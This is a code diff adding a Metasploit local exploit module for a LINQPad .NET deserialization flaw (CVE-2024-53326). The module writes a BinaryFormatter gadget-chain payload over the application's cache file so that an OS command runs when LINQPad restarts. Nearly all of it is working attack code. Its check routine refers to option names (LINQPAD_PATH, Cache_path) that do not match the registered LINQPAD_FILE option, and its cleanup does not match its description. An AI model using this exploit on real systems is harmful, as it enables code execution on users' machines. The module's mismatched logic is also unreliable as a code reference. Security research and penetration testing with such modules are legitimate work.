|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html |
| 8 | + |
| 9 | + # includes file?, directory? |
| 10 | + include Msf::Post::File |
| 11 | + |
| 12 | + # includes generate |
| 13 | + include Msf::Util::DotNetDeserialization |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super( |
| 17 | + update_info( |
| 18 | + info, |
| 19 | + 'Name' => 'LINQPad Deserialization Exploit', |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => [ |
| 25 | + 'msutovsky-r7 <[email protected]>', |
| 26 | + 'James Williams' # original research |
| 27 | + ], |
| 28 | + 'Platform' => 'win', |
| 29 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 30 | + 'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]], |
| 31 | + 'Privileged' => true, |
| 32 | + 'References' => [ |
| 33 | + [ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'], |
| 34 | + [ 'CVE', '2024-53326'] |
| 35 | + ], |
| 36 | + 'DisclosureDate' => '2024-12-03', |
| 37 | + 'DefaultTarget' => 0, |
| 38 | + 'Notes' => { |
| 39 | + 'Stability' => [CRASH_SAFE], |
| 40 | + 'Reliability' => [REPEATABLE_SESSION], |
| 41 | + 'SideEffects' => [ARTIFACTS_ON_DISK] |
| 42 | + } |
| 43 | + ) |
| 44 | + ) |
| 45 | + register_options([ |
| 46 | + OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), |
| 47 | + OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), |
| 48 | + OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish']) |
| 49 | + ]) |
| 50 | + end |
| 51 | + |
| 52 | + # Simplify pulling the writable directory variable |
| 53 | + |
| 54 | + def check |
| 55 | + if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH']) |
| 56 | + return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist') |
| 57 | + elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') |
| 58 | + return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') |
| 59 | + elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') |
| 60 | + return Exploit::CheckCode::Unknown('Cannot find cache file') |
| 61 | + elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') |
| 62 | + return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') |
| 63 | + else |
| 64 | + return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable') |
| 65 | + end |
| 66 | + end |
| 67 | + |
| 68 | + def exploit |
| 69 | + # generate payload |
| 70 | + dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( |
| 71 | + payload.encoded, # this is the Operating System command to run |
| 72 | + gadget_chain: :TextFormattingRunProperties, |
| 73 | + formatter: :BinaryFormatter |
| 74 | + ) |
| 75 | + # try to overwrite cache file |
| 76 | + fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload) |
| 77 | + |
| 78 | + # add cleanup option |
| 79 | + register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP'] |
| 80 | + end |
| 81 | +end |
0 commit comments